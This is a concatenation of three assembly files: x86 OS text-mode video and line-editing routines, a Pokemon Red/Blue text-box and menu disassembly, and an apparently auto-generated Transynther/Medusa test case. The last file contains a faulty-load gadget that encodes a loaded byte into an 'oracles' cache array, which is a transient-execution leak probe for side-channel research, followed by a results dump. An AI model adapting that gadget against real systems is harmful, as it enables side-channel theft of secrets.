;Scroll UP? JNE svUP0 ;Yes... Scroll UP! ;Scroll DOWN begins MOV EAX, oULY ;First line ADD EAX, nddLines ;Last line MOV ECX, 160 MUL ECX ;times nBytes per line MOV EDI, [EBX+pVidMem] ;EDI points to video memory 0,0 MOV EDX, EBX ;Save pJCB ADD EDI, EAX ;EDI is ptr to 1st dest line ADD EDI, oULX ;offset into line ADD EDI, oULX ;add again for attributes MOV ESI, EDI ; SUB ESI, 160 ;ESI is 1st source line MOV EBX, ESI ;Save in EBX for reload MOV EAX, nDDLines ;How many lines to move DEC EAX ;one less than window height svDOWN1: MOV ECX, nddCols ;How many WORDS per line to move REP MOVSW ;Move a line (of WORDS!) MOV EDI, EBX ;Reload Dest to next line MOV ESI, EDI SUB ESI, 160 MOV EBX, ESI ;Save again DEC EAX JNZ svDOWN1 MOV EAX, [EDX+NormAttr] ;Normal video attributes!!! SHL EAX, 8 MOV AL, 20h ;Space MOV EDI, EBX ;Put the last line into EDI MOV ECX, nddCols CLD REP STOSW XOR EAX, EAX ;No error JMP svDone ;No... scroll down begins svUP0: MOV EAX, oULY ;First line MOV ECX, 160 MUL ECX ;times nBytes per line MOV EDI, [EBX+pVidMem] ;EDI points to video memory 0,0 MOV EDX, EBX ;Save pJCB ADD EDI, EAX ;EDI is ptr to 1st dest line ADD EDI, oULX ;offset into line ADD EDI, oULX ;add again for attributes MOV ESI, EDI ; ADD ESI, 160 ;ESI is 1st source line MOV EBX, ESI ;Save in EBX for reload MOV EAX, nDDLines ;How many lines to move DEC EAX ;two less than window height svUP1: MOV ECX, nddCols ;How many WORDS per line to move REP MOVSW ;Move a line (of WORDS!) MOV EDI, EBX ;Reload Dest to next line MOV ESI, EDI ADD ESI, 160 MOV EBX, ESI ;Save again DEC EAX JNZ svUP1 MOV EAX, [EDX+NormAttr] ;Normal video attributes!!! SHL EAX, 8 MOV AL, 20h ;Space MOV EDI, EBX ;Put the last line into EDI SUB EDI, 160 MOV ECX, nddCols CLD REP STOSW XOR EAX, EAX ;No error JMP svDone svErcExit: ;Error exits will jump here MOV EAX, ErcVidParam svDone: MOV ESP,EBP ; POP EBP ; RETF 20 ; ;============================================================= ; HardXY - Intenal Internal to support SetXY and SetVidOwner ; This sets the hardware cursor position ; Input: ; EAX : New Y position ; EBX : New X position ; Used: ; EAX, EBX, EDX, Flags ; Output: ; None HardXY: MOV ECX,80 MUL ECX ; Line * 80 ADD EAX,EBX ; Line plus column MOV DX,CRTCPort1 ; Index register PUSH EAX MOV AL,CRTCCurLo OUT DX,AL ; Index 0Fh for low byte POP EAX MOV DX,CRTCPort2 ; Data register OUT DX,AL ; Send Low byte out SHR EAX,08 ; shift hi byte into AL PUSH EAX MOV DX,CRTCPort1 MOV AL,CRTCCurHi OUT DX,AL ; Index for High byte POP EAX MOV DX,CRTCPort2 OUT DX,AL ; Send High byte out RETN ; ;============================================================================= ; SetXY: ; Position VGA cursor (Text mode) to the X & Y position. ; Also sets hardware CrntX and CrntY cursor position if ; crnt job is assigned the real screen ;============================================================================= NewX EQU DWORD PTR [EBP+16] NewY EQU DWORD PTR [EBP+12] PUBLIC __SetXY: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV ECX,NewX ; Column MOV EDX,NewY ; Line MOV [EBX+CrntX],ECX ; This saves it in the VCB MOV [EBX+CrntY],EDX ; CALL GetCrntJobNum ;Leaves ptr to current JCB in EAX CMP EAX, ddVidOwner JNE GotoXYDone ;If not on Active screen, skip it MOV EAX,NewY ;Setup to call HardXY MOV EBX,NewX CALL HardXY GotoXYDone: XOR EAX,EAX ;No Error MOV ESP,EBP ; POP EBP ; RETF 8 ;============================================================================= ; GetXY: ; Returns position of VGA cursor (Text mode X & Y position). ; This appliies to the values for the caller's VCB ;============================================================================= pXret EQU DWORD PTR [EBP+16] pYret EQU DWORD PTR [EBP+12] PUBLIC __GetXY: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EAX,[EBX+CrntX] ; Column MOV ESI,pXret MOV [ESI], EAX MOV EAX,[EBX+CrntY] ; Line MOV ESI,pYret MOV [ESI], EAX XOR EAX,EAX QXYDone: MOV ESP,EBP ; POP EBP ; RETF 8 ;============================================================================= ; EditLine ; Reads a line of text from the keyboard and puts it into the ; specified string with full line editing features. ; ; EditLine(pStr, dCrntLen, dMaxLen, pdLenRet, pbExitChar): dError ; ; Param 1 is a NEAR Ptr to string to be edited ; Param 2 is current length of string to edit (80 Max) ; Param 3 is the max length the string can be (80 Max) ; Param 4 is a NEAR Ptr to a DD where the length of the string is returned ; Param 5 is a pointer to a Byte where the exit key from the edit ; operation is returned. ; Param 6 is the editing attribute to use. ; ; Display and keyboard are handled entirely inside EditLine. ; The following keys are recognized and handled inside, any other key ; causes Editline to exit returning the string in it's current condition ; and returning the key that caused the exit to pKeyRet: ; ; 08 (Backspace) move cursor to left replacing char with 20h ; which is a destructive backspace ; 20-7E Hex places character in current position and advances position ; Any other keystroke causes the edit line routine to be exited ; with that keystroke returned to pExitKeyRet ; ; ;============================================================================= pEdString EQU DWORD PTR [EBP+32] ddSzCrnt EQU DWORD PTR [EBP+28] ddSzMax EQU DWORD PTR [EBP+24] pddSzRet EQU DWORD PTR [EBP+20] pExitKeyRet EQU DWORD PTR [EBP+16] dEditAttr EQU DWORD PTR [EBP+12] ;Local vars EditX and EditY hold position of first char of text ;CrntX is the cursor postion ; PosnX EQU DWORD PTR [EBP-04] EditX EQU DWORD PTR [EBP-08] EditY EQU DWORD PTR [EBP-12] KeyCode EQU DWORD PTR [EBP-16] PUBLIC __EditLine: PUSH EBP ; MOV EBP,ESP ; SUB ESP, 16 CMP ddSzCrnt, 80 ;Is it currently too long? JA BadEdit CMP ddSzMax, 80 ;Is Max len to long? JA BadEdit MOV EAX, ddSzCrnt CMP EAX, ddSzMax ;Is Crnt len > Max??? JA BadEdit LEA EAX, EditX ;Get current cursor posns in local vars PUSH EAX LEA EAX, EditY PUSH EAX CALL FWORD PTR _GetXY CMP EAX, 0 JNE EditDone ;Bad Erc from call MOV EAX, EditX ADD EAX, ddSzCrnt MOV PosnX, EAX ;make PosnX end of string MOV ECX, ddSzMax SUB ECX, ddSzCrnt ;ECX how many bytes to zero JZ EdLn01 ;None to zero out MOV ESI, pEdString ;Initialize currrent string ADD ESI, ddSzCrnt ;ESI ptr to 1st empty byte MOV AL, 20h ;fill with spaces Edln00: MOV [ESI], AL INC ESI LOOP Edln00 EdLn01: PUSH PosnX PUSH EditY CALL FWORD PTR _SetXY CMP EAX, 0 JNE EditDone EdLn02: PUSH EditX ;Display current string PUSH EditY PUSH pEdString PUSH ddSzMax PUSH dEditAttr ;Attribute they selected CALL FWORD PTR _PutVidChars CMP EAX, 0 JNE EditDone EdLn03: LEA EAX, KeyCode PUSH EAX CMP ddVidOwner, 2 ;Debugger??? JE EdLn035 PUSH 1 ;Wait for a key CALL FWORD PTR _ReadKbd ;Get a key JMP SHORT EdLn036 EdLn035: CALL ReadDbgKbd EdLn036: MOV EAX, KeyCode AND EAX, 07Fh OR EAX, EAX JZ EdLn03 CMP EAX, 08h ;BackSpace? JNE EdLn04 ;No - Next test EdLn037: CMP ddSzCrnt, 0 JE EdLn01 DEC PosnX DEC ddSzCrnt MOV ESI, pEdString MOV ECX, ddSzCrnt MOV BYTE PTR [ESI+ECX], 20h JMP Edln01 EdLn04: CMP EAX, 03h ;Left? JNE EdLn045 ;No - Next test JMP EdLn037 EdLn045: CMP EAX, 83h ;Num-Left? JNE EdLn046 ;No - Next test JMP EdLn037 EdLn046: CMP EAX, 0Dh ;CR? JNE EdLn05 ;No - Next test JMP EdLn07 EdLn05: CMP EAX, 1Bh ;Escape? JNE EdLn06 ;No - Next test JMP EdLn07 EdLn06: CMP EAX, 7Eh ;Is it above text? JA EdLn07 ;Yes, Exit! CMP EAX, 20h ;Is it below text?? JB EdLn07 ;Yes, Exit MOV ESI, pEdString ;It's really a char! MOV ECX, ddSzCrnt MOV BYTE PTR [ESI+ECX], AL MOV ECX, ddSzMax CMP ddSzCrnt, ECX JAE EdLn01 INC PosnX INC ddSzCrnt JMP EdLn01 EdLn07: MOV ESI,pExitKeyRet MOV [ESI], AL MOV ESI,pddSzRet MOV EAX, ddSzCrnt MOV [ESI], EAX PUSH EditX ;Display current string w/Norm Attrs PUSH EditY PUSH pEdString PUSH ddSzMax CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, [EAX+NormAttr] PUSH EBX ;Normal Attribute from JCB CALL FWORD PTR _PutVidChars ;Ignore error (we are leaving anyway) XOR EAX, EAX JMP EditDone BadEdit: MOV EAX, ErcEditParam EditDone: MOV ESP,EBP ; POP EBP ; RETF 24 ;===================== END OF MODULE ================
engine/menu/text_box.asm
AmateurPanda92/pokemon-rby-dx
9
168971
; function to draw various text boxes DisplayTextBoxID_: ld a, [wTextBoxID] cp TWO_OPTION_MENU jp z, DisplayTwoOptionMenu ld c, a ld hl, TextBoxFunctionTable ld de, 3 call SearchTextBoxTable jr c, .functionTableMatch ld hl, TextBoxCoordTable ld de, 5 call SearchTextBoxTable jr c, .coordTableMatch ld hl, TextBoxTextAndCoordTable ld de, 9 call SearchTextBoxTable jr c, .textAndCoordTableMatch .done ret .functionTableMatch ld a, [hli] ld h, [hl] ld l, a ; hl = address of function ld de, .done push de jp hl ; jump to the function .coordTableMatch call GetTextBoxIDCoords call GetAddressOfScreenCoords call TextBoxBorder ret .textAndCoordTableMatch call GetTextBoxIDCoords push hl call GetAddressOfScreenCoords call TextBoxBorder pop hl call GetTextBoxIDText ld a, [wd730] push af ld a, [wd730] set 6, a ; no pauses between printing each letter ld [wd730], a call PlaceString pop af ld [wd730], a call UpdateSprites ret ; function to search a table terminated with $ff for a byte matching c in increments of de ; sets carry flag if a match is found and clears carry flag if not SearchTextBoxTable: dec de .loop ld a, [hli] cp $ff jr z, .notFound cp c jr z, .found add hl, de jr .loop .found scf .notFound ret ; function to load coordinates from the TextBoxCoordTable or the TextBoxTextAndCoordTable ; INPUT: ; hl = address of coordinates ; OUTPUT: ; b = height ; c = width ; d = row of upper left corner ; e = column of upper left corner GetTextBoxIDCoords: ld a, [hli] ; column of upper left corner ld e, a ld a, [hli] ; row of upper left corner ld d, a ld a, [hli] ; column of lower right corner sub e dec a ld c, a ; c = width ld a, [hli] ; row of lower right corner sub d dec a ld b, a ; b = height ret ; function to load a text address and text coordinates from the TextBoxTextAndCoordTable GetTextBoxIDText: ld a, [hli] ld e, a ld a, [hli] ld d, a ; de = address of text push de ; save text address ld a, [hli] ld e, a ; column of upper left corner of text ld a, [hl] ld d, a ; row of upper left corner of text call GetAddressOfScreenCoords pop de ; restore text address ret ; function to point hl to the screen coordinates ; INPUT: ; d = row ; e = column ; OUTPUT: ; hl = address of upper left corner of text box GetAddressOfScreenCoords: push bc coord hl, 0, 0 ld bc, 20 .loop ; loop to add d rows to the base address ld a, d and a jr z, .addedRows add hl, bc dec d jr .loop .addedRows pop bc add hl, de ret ; Format: ; 00: text box ID ; 01-02: function address TextBoxFunctionTable: dbw MONEY_BOX, DisplayMoneyBox dbw BUY_SELL_QUIT_MENU, DoBuySellQuitMenu dbw FIELD_MOVE_MON_MENU, DisplayFieldMoveMonMenu db $ff ; terminator ; Format: ; 00: text box ID ; 01: column of upper left corner ; 02: row of upper left corner ; 03: column of lower right corner ; 04: row of lower right corner TextBoxCoordTable: db MESSAGE_BOX, 0, 12, 19, 17 db $03, 0, 0, 19, 14 db $07, 0, 0, 11, 6 db LIST_MENU_BOX, 4, 2, 19, 12 db $10, 7, 0, 19, 17 db MON_SPRITE_POPUP, 6, 4, 14, 13 db $ff ; terminator ; Format: ; 00: text box ID ; 01: column of upper left corner ; 02: row of upper left corner ; 03: column of lower right corner ; 04: row of lower right corner ; 05-06: address of text ; 07: column of beginning of text ; 08: row of beginning of text ; table of window positions and corresponding text [key, start column, start row, end column, end row, text pointer [2 bytes], text column, text row] TextBoxTextAndCoordTable: db JP_MOCHIMONO_MENU_TEMPLATE db 0,0,14,17 ; text box coordinates dw JapaneseMochimonoText db 3,0 ; text coordinates db USE_TOSS_MENU_TEMPLATE db 13,10,19,14 ; text box coordinates dw UseTossText db 15,11 ; text coordinates db JP_SAVE_MESSAGE_MENU_TEMPLATE db 0,0,7,5 ; text box coordinates dw JapaneseSaveMessageText db 2,2 ; text coordinates db JP_SPEED_OPTIONS_MENU_TEMPLATE db 0,6,5,10 ; text box coordinates dw JapaneseSpeedOptionsText db 2,7 ; text coordinates db BATTLE_MENU_TEMPLATE db 8,12,19,17 ; text box coordinates dw BattleMenuText db 10,14 ; text coordinates db SAFARI_BATTLE_MENU_TEMPLATE db 0,12,19,17 ; text box coordinates dw SafariZoneBattleMenuText db 2,14 ; text coordinates db SWITCH_STATS_CANCEL_MENU_TEMPLATE db 11,11,19,17 ; text box coordinates dw SwitchStatsCancelText db 13,12 ; text coordinates db BUY_SELL_QUIT_MENU_TEMPLATE db 0,0,10,6 ; text box coordinates dw BuySellQuitText db 2,1 ; text coordinates db MONEY_BOX_TEMPLATE db 11,0,19,2 ; text box coordinates dw MoneyText db 13,0 ; text coordinates db JP_AH_MENU_TEMPLATE db 7,6,11,10 ; text box coordinates dw JapaneseAhText db 8,8 ; text coordinates db JP_POKEDEX_MENU_TEMPLATE db 11,8,19,17 ; text box coordinates dw JapanesePokedexMenu db 12,10 ; text coordinates ; note that there is no terminator BuySellQuitText: db "BUY" next "SELL" next "QUIT@@" UseTossText: db "USE" next "TOSS@" JapaneseSaveMessageText: db "きろく" next "メッセージ@" JapaneseSpeedOptionsText: db "はやい" next "おそい@" MoneyText: db "MONEY@" JapaneseMochimonoText: db "もちもの@" JapaneseMainMenuText: db "つづきから" next "さいしょから@" BattleMenuText: db "FIGHT ",$E1,$E2 next "ITEM RUN@" SafariZoneBattleMenuText: db "BALL× BAIT" next "THROW ROCK RUN@" SwitchStatsCancelText: db "SWITCH" next "STATS" next "CANCEL@" JapaneseAhText: db "アッ!@" JapanesePokedexMenu: db "データをみる" next "なきごえ" next "ぶんぷをみる" next "キャンセル@" DisplayMoneyBox: ld hl, wd730 set 6, [hl] ld a, MONEY_BOX_TEMPLATE ld [wTextBoxID], a call DisplayTextBoxID coord hl, 13, 1 ld b, 1 ld c, 6 call ClearScreenArea coord hl, 12, 1 ld de, wPlayerMoney ld c, $a3 call PrintBCDNumber ld hl, wd730 res 6, [hl] ret CurrencyString: db " ¥@" DoBuySellQuitMenu: ld a, [wd730] set 6, a ; no printing delay ld [wd730], a xor a ld [wChosenMenuItem], a ld a, BUY_SELL_QUIT_MENU_TEMPLATE ld [wTextBoxID], a call DisplayTextBoxID ld a, A_BUTTON | B_BUTTON ld [wMenuWatchedKeys], a ld a, $2 ld [wMaxMenuItem], a ld a, $1 ld [wTopMenuItemY], a ld a, $1 ld [wTopMenuItemX], a xor a ld [wCurrentMenuItem], a ld [wLastMenuItem], a ld [wMenuWatchMovingOutOfBounds], a ld a, [wd730] res 6, a ; turn on the printing delay ld [wd730], a call HandleMenuInput call PlaceUnfilledArrowMenuCursor bit 0, a ; was A pressed? jr nz, .pressedA bit 1, a ; was B pressed? (always true since only A/B are watched) jr z, .pressedA ld a, CANCELLED_MENU ld [wMenuExitMethod], a jr .quit .pressedA ld a, CHOSE_MENU_ITEM ld [wMenuExitMethod], a ld a, [wCurrentMenuItem] ld [wChosenMenuItem], a ld b, a ld a, [wMaxMenuItem] cp b jr z, .quit ret .quit ld a, CANCELLED_MENU ld [wMenuExitMethod], a ld a, [wCurrentMenuItem] ld [wChosenMenuItem], a scf ret ; displays a menu with two options to choose from ; b = Y of upper left corner of text region ; c = X of upper left corner of text region ; hl = address where the text box border should be drawn DisplayTwoOptionMenu: push hl ld a, [wd730] set 6, a ; no printing delay ld [wd730], a ; pointless because both values are overwritten before they are read xor a ld [wChosenMenuItem], a ld [wMenuExitMethod], a ld a, A_BUTTON | B_BUTTON ld [wMenuWatchedKeys], a ld a, $1 ld [wMaxMenuItem], a ld a, b ld [wTopMenuItemY], a ld a, c ld [wTopMenuItemX], a xor a ld [wLastMenuItem], a ld [wMenuWatchMovingOutOfBounds], a push hl ld hl, wTwoOptionMenuID bit 7, [hl] ; select second menu item by default? res 7, [hl] jr z, .storeCurrentMenuItem inc a .storeCurrentMenuItem ld [wCurrentMenuItem], a pop hl push hl push hl call TwoOptionMenu_SaveScreenTiles ld a, [wTwoOptionMenuID] ld hl, TwoOptionMenuStrings ld e, a ld d, $0 ld a, $5 .menuStringLoop add hl, de dec a jr nz, .menuStringLoop ld a, [hli] ld c, a ld a, [hli] ld b, a ld e, l ld d, h pop hl push de ld a, [wTwoOptionMenuID] cp TRADE_CANCEL_MENU jr nz, .notTradeCancelMenu call CableClub_TextBoxBorder jr .afterTextBoxBorder .notTradeCancelMenu call TextBoxBorder .afterTextBoxBorder call UpdateSprites pop hl ld a, [hli] and a ; put blank line before first menu item? ld bc, 20 + 2 jr z, .noBlankLine ld bc, 2 * 20 + 2 .noBlankLine ld a, [hli] ld e, a ld a, [hli] ld d, a pop hl add hl, bc call PlaceString ld hl, wd730 res 6, [hl] ; turn on the printing delay ld a, [wTwoOptionMenuID] cp NO_YES_MENU jr nz, .notNoYesMenu ; No/Yes menu ; this menu type ignores the B button ; it only seems to be used when confirming the deletion of a save file xor a ld [wTwoOptionMenuID], a ld a, [wFlags_0xcd60] push af push hl ld hl, wFlags_0xcd60 bit 5, [hl] set 5, [hl] ; don't play sound when A or B is pressed in menu pop hl .noYesMenuInputLoop call HandleMenuInput bit 1, a ; A button pressed? jr nz, .noYesMenuInputLoop ; try again if A was not pressed pop af pop hl ld [wFlags_0xcd60], a ld a, SFX_PRESS_AB call PlaySound jr .pressedAButton .notNoYesMenu xor a ld [wTwoOptionMenuID], a call HandleMenuInput pop hl bit 1, a ; A button pressed? jr nz, .choseSecondMenuItem ; automatically choose the second option if B is pressed .pressedAButton ld a, [wCurrentMenuItem] ld [wChosenMenuItem], a and a jr nz, .choseSecondMenuItem ; chose first menu item ld a, CHOSE_FIRST_ITEM ld [wMenuExitMethod], a ld c, 15 call DelayFrames call TwoOptionMenu_RestoreScreenTiles and a ret .choseSecondMenuItem ld a, 1 ld [wCurrentMenuItem], a ld [wChosenMenuItem], a ld a, CHOSE_SECOND_ITEM ld [wMenuExitMethod], a ld c, 15 call DelayFrames call TwoOptionMenu_RestoreScreenTiles scf ret ; Some of the wider/taller two option menus will not have the screen areas ; they cover be fully saved/restored by the two functions below. ; The bottom and right edges of the menu may remain after the function returns. TwoOptionMenu_SaveScreenTiles: ld de, wBuffer lb bc, 5, 6 .loop ld a, [hli] ld [de], a inc de dec c jr nz, .loop push bc ld bc, SCREEN_WIDTH - 6 add hl, bc pop bc ld c, $6 dec b jr nz, .loop ret TwoOptionMenu_RestoreScreenTiles: ld de, wBuffer lb bc, 5, 6 .loop ld a, [de] inc de ld [hli], a dec c jr nz, .loop push bc ld bc, SCREEN_WIDTH - 6 add hl, bc pop bc ld c, 6 dec b jr nz, .loop call UpdateSprites ret ; Format: ; 00: byte width ; 01: byte height ; 02: byte put blank line before first menu item ; 03: word text pointer TwoOptionMenuStrings: db 4,3,0 dw .YesNoMenu db 6,3,0 dw .NorthWestMenu db 6,3,0 dw .SouthEastMenu db 6,3,0 dw .YesNoMenu db 6,3,0 dw .NorthEastMenu db 7,3,0 dw .TradeCancelMenu db 7,4,1 dw .HealCancelMenu db 4,3,0 dw .NoYesMenu .NoYesMenu db "NO" next "YES@" .YesNoMenu db "YES" next "NO@" .NorthWestMenu db "NORTH" next "WEST@" .SouthEastMenu db "SOUTH" next "EAST@" .NorthEastMenu db "NORTH" next "EAST@" .TradeCancelMenu db "TRADE" next "CANCEL@" .HealCancelMenu db "HEAL" next "CANCEL@" DisplayFieldMoveMonMenu: xor a ld hl, wFieldMoves ld [hli], a ; wFieldMoves ld [hli], a ; wFieldMoves + 1 ld [hli], a ; wFieldMoves + 2 ld [hli], a ; wFieldMoves + 3 ld [hli], a ; wNumFieldMoves ld [hl], 12 ; wFieldMovesLeftmostXCoord call GetMonFieldMoves ld a, [wNumFieldMoves] and a jr nz, .fieldMovesExist ; no field moves coord hl, 11, 11 ld b, 5 ld c, 7 call TextBoxBorder call UpdateSprites ld a, 12 ld [hFieldMoveMonMenuTopMenuItemX], a coord hl, 13, 12 ld de, PokemonMenuEntries jp PlaceString .fieldMovesExist push af ; Calculate the text box position and dimensions based on the leftmost X coord ; of the field move names before adjusting for the number of field moves. coord hl, 0, 11 ld a, [wFieldMovesLeftmostXCoord] dec a ld e, a ld d, 0 add hl, de ld b, 5 ld a, 18 sub e ld c, a pop af ; For each field move, move the top of the text box up 2 rows while the leaving ; the bottom of the text box at the bottom of the screen. ld de, -SCREEN_WIDTH * 2 .textBoxHeightLoop add hl, de inc b inc b dec a jr nz, .textBoxHeightLoop ; Make space for an extra blank row above the top field move. ld de, -SCREEN_WIDTH add hl, de inc b call TextBoxBorder call UpdateSprites ; Calculate the position of the first field move name to print. coord hl, 0, 12 ld a, [wFieldMovesLeftmostXCoord] inc a ld e, a ld d, 0 add hl, de ld de, -SCREEN_WIDTH * 2 ld a, [wNumFieldMoves] .calcFirstFieldMoveYLoop add hl, de dec a jr nz, .calcFirstFieldMoveYLoop xor a ld [wNumFieldMoves], a ld de, wFieldMoves .printNamesLoop push hl ld hl, FieldMoveNames ld a, [de] and a jr z, .donePrintingNames inc de ld b, a ; index of name .skipNamesLoop ; skip past names before the name we want dec b jr z, .reachedName .skipNameLoop ; skip past current name ld a, [hli] cp "@" jr nz, .skipNameLoop jr .skipNamesLoop .reachedName ld b, h ld c, l pop hl push de ld d, b ld e, c call PlaceString ld bc, SCREEN_WIDTH * 2 add hl, bc pop de jr .printNamesLoop .donePrintingNames pop hl ld a, [wFieldMovesLeftmostXCoord] ld [hFieldMoveMonMenuTopMenuItemX], a coord hl, 0, 12 ld a, [wFieldMovesLeftmostXCoord] inc a ld e, a ld d, 0 add hl, de ld de, PokemonMenuEntries jp PlaceString FieldMoveNames: db "CUT@" db "FLY@" db "@" db "SURF@" db "STRENGTH@" db "FLASH@" db "DIG@" db "TELEPORT@" db "SOFTBOILED@" PokemonMenuEntries: db "STATS" next "SWITCH" next "CANCEL@" GetMonFieldMoves: ld a, [wWhichPokemon] ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld d, h ld e, l ld c, NUM_MOVES + 1 ld hl, wFieldMoves .loop push hl .nextMove dec c jr z, .done ld a, [de] ; move ID and a jr z, .done ld b, a inc de ld hl, FieldMoveDisplayData .fieldMoveLoop ld a, [hli] cp $ff jr z, .nextMove ; if the move is not a field move cp b jr z, .foundFieldMove inc hl inc hl jr .fieldMoveLoop .foundFieldMove ld a, b ld [wLastFieldMoveID], a ld a, [hli] ; field move name index ld b, [hl] ; field move leftmost X coordinate pop hl ld [hli], a ; store name index in wFieldMoves ld a, [wNumFieldMoves] inc a ld [wNumFieldMoves], a ld a, [wFieldMovesLeftmostXCoord] cp b jr c, .skipUpdatingLeftmostXCoord ld a, b ld [wFieldMovesLeftmostXCoord], a .skipUpdatingLeftmostXCoord ld a, [wLastFieldMoveID] ld b, a jr .loop .done pop hl ret ; Format: [Move id], [name index], [leftmost tile] ; Move id = id of move ; Name index = index of name in FieldMoveNames ; Leftmost tile = -1 + tile column in which the first letter of the move's name should be displayed ; "SOFTBOILED" is $08 because it has 4 more letters than "SURF", for example, whose value is $0C FieldMoveDisplayData: db CUT, $01, $0C db FLY, $02, $0C db $B4, $03, $0C ; unused field move db SURF, $04, $0C db STRENGTH, $05, $0A db FLASH, $06, $0C db DIG, $07, $0C db TELEPORT, $08, $0A db SOFTBOILED, $09, $08 db $ff ; list terminator
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1046.asm
ljhsiun2/medusa
9
7668
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r8 push %rbx push %rcx lea addresses_D_ht+0xe2a8, %r13 nop nop nop nop nop sub $51393, %r8 mov $0x6162636465666768, %r12 movq %r12, %xmm5 movups %xmm5, (%r13) cmp %r13, %r13 lea addresses_WC_ht+0x1328, %r14 sub %rcx, %rcx mov (%r14), %ebx nop nop nop nop cmp $65067, %r14 lea addresses_normal_ht+0x10b0, %r14 nop cmp $4499, %r11 mov (%r14), %r12w nop nop nop nop and %r11, %r11 lea addresses_D_ht+0x1d780, %r13 nop nop nop and $9998, %r14 mov $0x6162636465666768, %rbx movq %rbx, %xmm3 vmovups %ymm3, (%r13) sub %r11, %r11 lea addresses_UC_ht+0x137a8, %r8 nop nop nop cmp $41391, %rbx mov $0x6162636465666768, %r14 movq %r14, (%r8) nop inc %r11 lea addresses_normal_ht+0x1a8, %r11 nop xor $53696, %r14 movb (%r11), %bl nop nop nop add %rbx, %rbx pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r9 push %rax push %rsi // Faulty Load lea addresses_WT+0x17fa8, %r12 dec %rsi vmovups (%r12), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rax lea oracles, %rsi and $0xff, %rax shlq $12, %rax mov (%rsi,%rax,1), %rax pop %rsi pop %rax pop %r9 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 